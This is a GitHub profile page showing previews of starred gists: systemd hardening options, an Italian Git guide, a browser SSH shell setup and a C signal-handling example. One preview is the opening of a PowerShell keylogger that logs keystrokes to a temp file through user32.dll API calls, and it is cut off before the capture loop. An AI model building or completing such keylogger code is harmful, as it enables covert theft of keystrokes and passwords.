Skip to content

Instantly share code, notes, and snippets.

View sevenissimo's full-sized avatar

Matteo Drera sevenissimo

  • Brescia, BS, ITALY
View GitHub Profile
@ageis
ageis / systemd_service_hardening.md
Last active April 29, 2026 14:26
Options for hardening systemd service units

security and hardening options for systemd service units

A common and reliable pattern in service unit files is thus:

NoNewPrivileges=yes
PrivateTmp=yes
PrivateDevices=yes
DevicePolicy=closed
ProtectSystem=strict
@tesseslol
tesseslol / git.md
Last active May 12, 2026 17:28
Git: i comandi principali

Git guida (in aggiornamento)

Cos'è git?

Git è un software di controllo versione distribuito utilizzabile da interfaccia a riga di comando, creato da Linus Torvalds nel 2005. Git lavora con i repository. Un repository git ha 4 stati di lavoro. Il primo è la tua directory corrente. Il secondo è l'index che fa da spazio di transito per i files (git add *). Il terzo è l'head che punta all'ultimo commit fatto (git commit -m "messaggio"). E l'ultimo è il repository è online (git push server).

I repository online e locali possono essere divisi in ramificazioni (Branch).

@mscdex
mscdex / _instructions.md
Last active July 2, 2022 20:10
ssh shell session from the browser

Instructions:

  1. npm install express faye-websocket ssh2 term.js
  2. Create a public subdirectory
  3. Place client.htm in public
  4. Edit the ssh connection details in server.js. See the documentation for the connect() method in the ssh2 readme for more information.
  5. Start the server with node server.js
  6. Visit http://localhost:8000/client.htm in a WebSocket-capable browser
@dasgoll
dasgoll / gist:7ca1c059dd3b3fbc7277
Created December 11, 2015 16:44
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
@aspyct
aspyct / signal.c
Last active February 23, 2026 18:10
Unix signal handling example in C, SIGINT, SIGALRM, SIGHUP...
/**
* More info?
* [email protected]
* http://aspyct.org
*
* Hope it helps :)
*/
#include <stdio.h>
#include <stdlib.h>